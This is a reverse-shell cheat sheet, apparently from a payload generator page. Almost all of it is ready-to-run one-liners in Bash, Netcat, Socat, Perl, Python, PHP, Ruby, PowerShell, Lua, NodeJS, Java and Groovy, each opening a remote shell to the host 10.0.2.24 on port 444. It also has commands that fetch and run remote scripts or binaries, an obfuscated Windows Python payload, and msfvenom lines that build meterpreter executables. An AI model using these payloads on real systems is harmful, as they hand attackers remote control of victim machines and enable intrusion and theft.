IP: Port:

ALL in:

curl https://saucer-man.com/reverse/reverse.php?ip=10.0.2.24&port=444 | sh 

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Bash TCP:

Victim:

bash -i >& /dev/tcp/10.0.2.24/444 0>&1

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/bin/bash -i > /dev/tcp/10.0.2.24/444 0<& 2>&1

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exec 5<>/dev/tcp/10.0.2.24/444;cat <&5 | while read line; do $line 2>&5 >&5; done

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exec /bin/sh 0</dev/tcp/10.0.2.24/444 1>&0 2>&0

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0<&196;exec 196<>/dev/tcp/10.0.2.24/444; sh <&196 >&196 2>&196

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Bash UDP:

Victim:

sh -i >& /dev/udp/10.0.2.24/444 0>&1

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Listener:

nc -u -lvp 444

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Netcat:

nc -e /bin/sh 10.0.2.24 444

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nc -e /bin/bash 10.0.2.24 444

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nc -c bash 10.0.2.24 444

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mknod backpipe p && nc 10.0.2.24 444 0<backpipe | /bin/bash 1>backpipe 

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rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.24 444 >/tmp/f

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rm -f /tmp/p; mknod /tmp/p p && nc 10.0.2.24 444 0/tmp/p 2>&1

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rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 10.0.2.24 444 > f

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rm -f x; mknod x p && nc 10.0.2.24 444 0<x | /bin/bash 1>x

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Ncat:

ncat 10.0.2.24 444 -e /bin/bash

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ncat --udp 10.0.2.24 444 -e /bin/bash

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Telnet:

rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.2.24 444 0/tmp/p 2>&1

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telnet 10.0.2.24 444 | /bin/bash | telnet 10.0.2.24 444

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rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 10.0.2.24 444 > f

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rm -f x; mknod x p && telnet 10.0.2.24 444 0<x | /bin/bash 1>x

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Socat:

Victim:

/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.2.24:444

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socat tcp-connect:10.0.2.24:444 exec:"bash -li",pty,stderr,setsid,sigint,sane

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Listener:

socat file:`tty`,raw,echo=0 TCP-L:444

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Victim:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.2.24:444

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Perl:

Victim:

perl -e 'use Socket;$i="10.0.2.24";$p=444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

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perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.2.24:444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

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Windows only, Victim:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.2.24:444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

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Python:

IP v4

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.24",444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

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export RHOST="10.0.2.24";export RPORT=444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.24",444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Copy IP v6

python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",444,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Copy Windows only:

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.2.24', 444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

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PHP:

php -r '$sock=fsockopen("10.0.2.24",444);exec("/bin/sh -i <&3 >&3 2>&3");'

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php -r '$s=fsockopen("10.0.2.24",444);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'

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php -r '$s=fsockopen("10.0.2.24",444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

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php -r '$s=fsockopen("10.0.2.24",444);`/bin/sh -i <&3 >&3 2>&3`;'

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php -r '$s=fsockopen("10.0.2.24",444);system("/bin/sh -i <&3 >&3 2>&3");'

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php -r '$s=fsockopen("10.0.2.24",444);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

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Ruby:

ruby -rsocket -e'f=TCPSocket.open("10.0.2.24",444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

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ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.2.24","444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

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NOTE: Windows only

ruby -rsocket -e 'c=TCPSocket.new("10.0.2.24","444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

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OpenSSL:

Attacker:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

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openssl s_server -quiet -key key.pem -cert cert.pem -port 444

Copy or

ncat --ssl -vv -l -p 444

Copy Victim:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.2.24:444 > /tmp/s; rm /tmp/s

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Powershell:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.2.24",444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

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powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.2.24',444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

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powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

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Awk:

awk 'BEGIN {s = "/inet/tcp/0/10.0.2.24/444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

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TCLsh

echo 'set s [socket 10.0.2.24 444];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

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Java:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.2.24/444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

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String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

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Thread thread = new Thread(){
    public void run(){
        // Reverse shell here
    }
}
thread.start();

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War:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.2.24 LPORT=444 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file

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Lua:

Linux only

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.2.24','444');os.execute('/bin/sh -i <&3 >&3 2>&3');"

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Windows and Linux

lua5.1 -e 'local host, port = "10.0.2.24", 444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

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NodeJS:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(444, "10.0.2.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

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require('child_process').exec('nc -e /bin/sh 10.0.2.24 444')

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-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.2.24 444 -e /bin/bash')

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https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

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Groovy:

String host="10.0.2.24";
int port=444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

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Meterpreter Shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.24 LPORT=444 -f exe > reverse.exe

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msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.24 LPORT=444 -f exe > reverse.exe

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msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.2.24 LPORT=444 -f elf >reverse.elf

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msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.24 LPORT=444 -f elf >reverse.elf

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msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.2.24" LPORT=444 -f elf > shell.elf

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msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.2.24" LPORT=444 -f exe > shell.exe

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msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.2.24" LPORT=444 -f macho > shell.macho

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msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.2.24" LPORT=444 -f asp > shell.asp

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msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.2.24" LPORT=444 -f raw > shell.jsp

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msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.2.24" LPORT=444 -f war > shell.war

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msfvenom -p cmd/unix/reverse_python LHOST="10.0.2.24" LPORT=444 -f raw > shell.py

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msfvenom -p cmd/unix/reverse_bash LHOST="10.0.2.24" LPORT=444 -f raw > shell.sh

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msfvenom -p cmd/unix/reverse_perl LHOST="10.0.2.24" LPORT=444 -f raw > shell.pl

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Xterm:

xterm -display 10.0.2.24:1
Xnest :1
xhost +targetip

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